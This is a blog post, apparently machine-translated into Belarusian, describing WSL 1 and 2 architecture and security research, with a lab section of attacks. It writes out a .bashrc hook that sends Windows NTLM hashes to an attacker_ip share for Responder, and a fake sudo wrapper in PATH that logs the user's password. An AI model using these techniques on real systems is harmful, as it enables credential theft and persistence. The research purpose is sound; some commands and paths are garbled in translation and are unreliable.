Прывітанне, хабр! У кастрычніку OTUS запускае новы паток курса . Напярэдадні старту курса дзелімся з вамі артыкулам, які напісаў адзін з нашых выкладчыкаў - Аляксандр Калеснікаў.
У 2016 годзе кампанія Microsoft прадставіла IT супольнасці новую тэхналогію WSL (WINDOWS Subsystem for Linux), у даляглядзе якая дазваляла аб'яднаць да гэтага непрымірымых канкурэнтаў, якія ваявалі за папулярнасць як сярод радавых, так і прасунутых карыстачоў АС: Windows і Linux. Дадзеная тэхналогія давала магчымасць выкарыстоўваць прылады АС Linux у асяроддзі Windows без неабходнасці запуску Linux, да прыкладу, з дапамогай мультызагрузкі (Multi-boot). На Habr вы можаце выявіць вялікую колькасць артыкулаў, якія апісваюць перавагі выкарыстання WSL. Аднак, нажаль, на момант стварэння артыкула на дадзеным рэсурсе не было выяўлена даследаванняў бяспекі такога сімбіёзу аперацыйных сістэм. Сапраўдны пост стане спробай гэта выправіць. У артыкуле будзе расказана пра асаблівасці архітэктур WSL 1 і 2, разабрана некалькі прыкладаў нападаў на сістэмы, якія выкарыстоўваюць дадзеныя тэхналогіі. Артыкул разбіты на 2 часткі. У першай будуць прадстаўлены асноўныя тэарэтычныя метады нападаў са боку Linux і Windows. Другі артыкул будзе ўключаць у сябе наладу тэставага асяроддзя і прайграванне нападаў.
WSL 1: асаблівасці архітэктуры
Для найболей дакладнага апускання ў праблемы бяспекі WSL неабходна вызначыць асноўныя нюансы, злучаныя з імплементацыяй падсістэмы. Адной з галоўных карыстацкіх задач, развязальных WSL, з'яўляецца прадастаўленне магчымасці працы праз тэрмінал Linux сістэм на хасце з АС Windows. Таксама прапанаваная сумяшчальнасць была настолькі натыўнай, што выкананыя файлы Linux (ELF) маглі быць запушчаны прама ў сістэме Windows. Для дасягнення гэтых мэт у Windows 10 была створана адмысловая падсістэма, якая дазваляе запускаць прыкладанні Linux з дапамогай набору вызначаных сістэмных выклікаў – такім чынам, была прадпрынятая спроба мапінга набору syscall-ов Linux на Windows. Фізічна гэта было рэалізавана шляхам дадання новых драйвераў і новага фармату працэсу. Візуальна архітэктура выглядала вось так:
Па сутнасці, узаемадзеянне з аперацыйнай сістэмай Linux было арганізавана з дапамогай некалькіх ядзерных модуляў і спецыяльнага віду працэсаў – pico. Са схемы вышэй відаць, што працэс, запушчаны ў інстанс Linux на хасце, павінен быць натыўным і павінен выкарыстоўваць тыя ж рэсурсы, што і звычайныя прыкладанні Windows. Але як гэтага дасягнуць? У праекце былі распрацаваны канцэпты працэсаў для Windows, якія падавалі ўсе неабходныя кампаненты аперацыйнай сістэмы (у залежнасці ад яе версіі) для запуску прыкладання іншай АС.
Заўважым, што прапанаваная абстракцыя дазваляла не арыентавацца на аперацыйную сістэму (у прыватнасці – Windows), у якой чакаецца запуск працэсу іншай АС, і прапаноўвала агульны падыход.
Такім чынам, любое прыкладанне ўсярэдзіне pico працэсу магло працаваць без аглядкі на ядро Windows:
- Праблемы сумяшчальнасці і трансляцыі сістэмных выклікаў павінны вырашаць спецыяльныя правайдэры;
- Размежаванне доступу павінна рабіцца праз Манітор бяспекі. Манітор размяшчаецца ў ядры і таму Windows быў неабходны апгрэйд у выглядзе новага драйвера, які мог бы выступаць у якасці правайдэра для такіх працэсаў. Прататып pico працэсу схематычна прадстаўлены ніжэй:
Паколькі файлавая сістэма Linux выкарыстае рэгістразалежныя назовы файлаў і дырэкторый, у Windows былі дададзеныя 2 тыпу файлавых сістэм для працы з WSL — VolFS і DriveFS. VolFS – імплементацыя файлавай сістэмы Linux, DriveFS – файлавая сістэма, якая працуе па правілах Windows, але мае магчымасць выбару адчувальнасці да рэгістра імёнаў.
WSL 2
WSL 1 мела шэраг абмежаванняў, не якія дазвалялі выкарыстоўваць яе для рашэння максімальнага спектру задач: да прыкладу, у ёй адсутнічала магчымасць запуску 32-бітных Linux прыкладанняў, нельга было выкарыстоўваць device драйвера. Таму ў 2020 годзе была выпушчана WSL 2, якая змяніла падыход да пабудовы падсістэмы. WSL 2 – гэта аптымізаваная віртуальная машына, якая адпавядае характарыстыкам WSL 1 па спажыванні рэсурсаў. Зараз, у залежнасці ад праблем, развязальных карыстачом АС Windows, можна выбіраць неабходную версію падсістэмы працы з Linux. Для мітыгаціі магчымых уразлівасцяў WSL 2 была рэалізаваная на базе Hyper-V у Windows 10. У гэтым выглядзе Windows мае магчымасць ізалявана запускаць ядро аперацыйнай сістэмы Linux. Варта памятаць, што версія 1 WSL была прадстаўлена як бэта фіча, якая павінна была паказаць вектар развіцця Windows у гэтай вобласці, таму пераход на Hyper-V быў непазбежны. Выніковая архітэктура выглядае так:
У гэтай версіі ў ядраў сістэм Windows і Linux ёсць свае ўласныя рэсурсы і скрыжаванне існуе толькі ў файлавай сістэме, аднак гэтае скрыжаванне нельга назваць поўным. Узаемадзеянне паміж файлавымі сістэмамі праводзіцца за кошт кліент-сервернай абгорткі, якая працуе па пратаколе 9P.
На сённяшні дзень Microsoft дае магчымасць пераключэння паміж WSL 1 і WSL 2. Абедзве версіі даступныя для выкарыстання.
Бяспека WSL
На дадзены момант існуюць некалькі прац, якія апісваюць некаторыя падыходы да выкарыстання легітымных прылад АС для нападу на ўзаемадзеянне паміж падсістэмамі. Мы будзем выкарыстоўваць іх сцэнары для праверкі актуальнасці нападаў на момант напісання артыкула. Агульны пералік нападаў і сцэнары правядзення:
1. Імплементацыя файлавай сістэмы: правы доступу, наяўнасць агульных дырэкторый/механізмаў абмену дадзенымі.
Даследаванні праводзіліся на прадмет парушэння правілаў доступу з Linux FS->Windows FS, Windows FS->Linux FS. Даследаванні дэманстравалі магчымасць мадыфікацыі зададзенага файла ўсярэдзіне мэтавай АС. Гэтак жа былі праведзены спробы падмены, стварэнні двайнікоў і выдаленні часткі файлавых сістэм.
сцэнар:
- A. Атака з аперацыйнай сістэмы Windows - мадыфікацыя файлаў з дырэкторыі /etc АС Linux.
- B. Атака з аперацыйнай сістэмы Linux - мадыфікацыя файлаў у дырэкторыях:
C:Windows,C:Program Files,C:Users<User>
2. Імплементацыя сеткавага стэка.
Даследаванні праводзіліся на прыкладах нападаў са боку аперацыйнай сістэмы Linux на Windows. Выкарыстоўваліся асаблівасці працы сеткавага стэка, а менавіта - механізмы аўтэнтыфікацыі на розных рэсурсах.
сцэнар:
- Адкрыццё доступу да порта, які заняты ў сістэме Windows
- Адкрыццё порта пры адсутнасці адпаведных правоў
- Запуск reverse shell з выкарыстаннем elf файла ў аперацыйнай сістэме Windows.
3. Утойванне запуску працэсаў шкоднаснага праграмнага забеспячэння за рахунак падсістэмы WSL.
Даследаванні грунтаваліся на простым факце - падсістэмы абароны не могуць праводзіць перахоп падзей у іншым ядры, якое працуе з выкарыстаннем легітымнага правайдэра з боку аперацыйнай сістэмы ў выпадку з WSL 1. У выпадку з WSL 2 няма магчымасці прагледзець падзеі, якія адбываюцца ў асобным ядры ў рамках лёгкай віртуальнай машыны.
сцэнар:
1) Запуск прыкладання для выдаленага доступу ў сістэму і прагляд рэгіструюцца падзей.
WSL 1 эксперыменты: перахоп хэша (АС Windows)
Нарэшце мы дабраліся да практычнай часткі. Для пачатку неабходна наладзіць асяроддзе для тэстаў. Усе эксперыменты будуць праводзіцца на стэндзе з усталяваным Windows 10 2004. У якасці выявы аперацыйнай сістэмы для WSL быў абраны выява Ubuntu 18.04. Выява была абраная выпадкова, і любы іншы будзе працаваць гэтак жа. Каманды для наладкі стэнда:
Папярэдне трэба запусціць powershell.exe ад імя адміністратара.
Для WSL 1 неабходна выканаць каманды:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
Ubuntu.appx install —root #Установим образ
Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
Restart-Computer #Перезагрузим
Пасля перазагрузкі стэнда можна выклікаць каманду bash. Калі ўсё дакладна спрацавала, тыя вы ўбачыце прыкладна такая выснова ў кансолі Windows:
У якасці машыны атакавалага будзем выкарыстоўваць дыстрыбутыў Kali Linux, усе машыны павінны знаходзіцца ў адной лакальнай сетцы.
Выкажам здагадку, што ў нас ёсць непрывеляваны доступ да WSL на машыне Windows. Паспрабуем правесці напад на аперацыйную сістэму Linux, выклікаўшы каманду з Linux. Для рэалізацыі нападу скарыстаемся простай тэхнікай аўтазапуску - дадамо наш скрыпт для выканання ў асяроддзі Linux. Для гэтага трэба змяніць файл .bashrc.
На машыне c WSL выконваем:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitНа машыне Kali Linux выконваем:
1. Responder -I eth0 -rdvwНа машыне Windows запусцім bash.
Чакаем вынік на машыне Kali Linux:
Такім чынам, мы атрымалі хэшы карыстальніка Windows праз падсістэму WSL, выканаўшы каманду на сістэме Linux.
WSL 1 эксперыменты: атрыманне пароля карыстальніка (АС Linux)
Правядзем яшчэ адзін эксперымент. У ходзе гэтай праверкі мы дапоўнім файл .bashrc некалькімі камандамі для таго, каб атрымаць пароль карыстача аперацыйнай сістэмы Linux.
Запусцім bash і ўвядзем каманды:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
Для паспяховага завяршэння нападу неабходна, каб карыстач Sam выклікаў sudo у тэрмінале Linux. Пасля гэтага пароль карыстача АС Linux апынецца ў файле pass.txt:
Рэалізацыя нападаў была прыведзена толькі для тэарэтычнага азнаямлення.
У наступнай частцы артыкула будзе апісана рэалізацыя пратаколу 9P, разгледжана стварэнне сканара для гэтага пратаколу, а таксама праведзена напад з яго дапамогай.
Спіс выкарыстанай літаратуры
Чытаць яшчэ
Крыніца: habr.com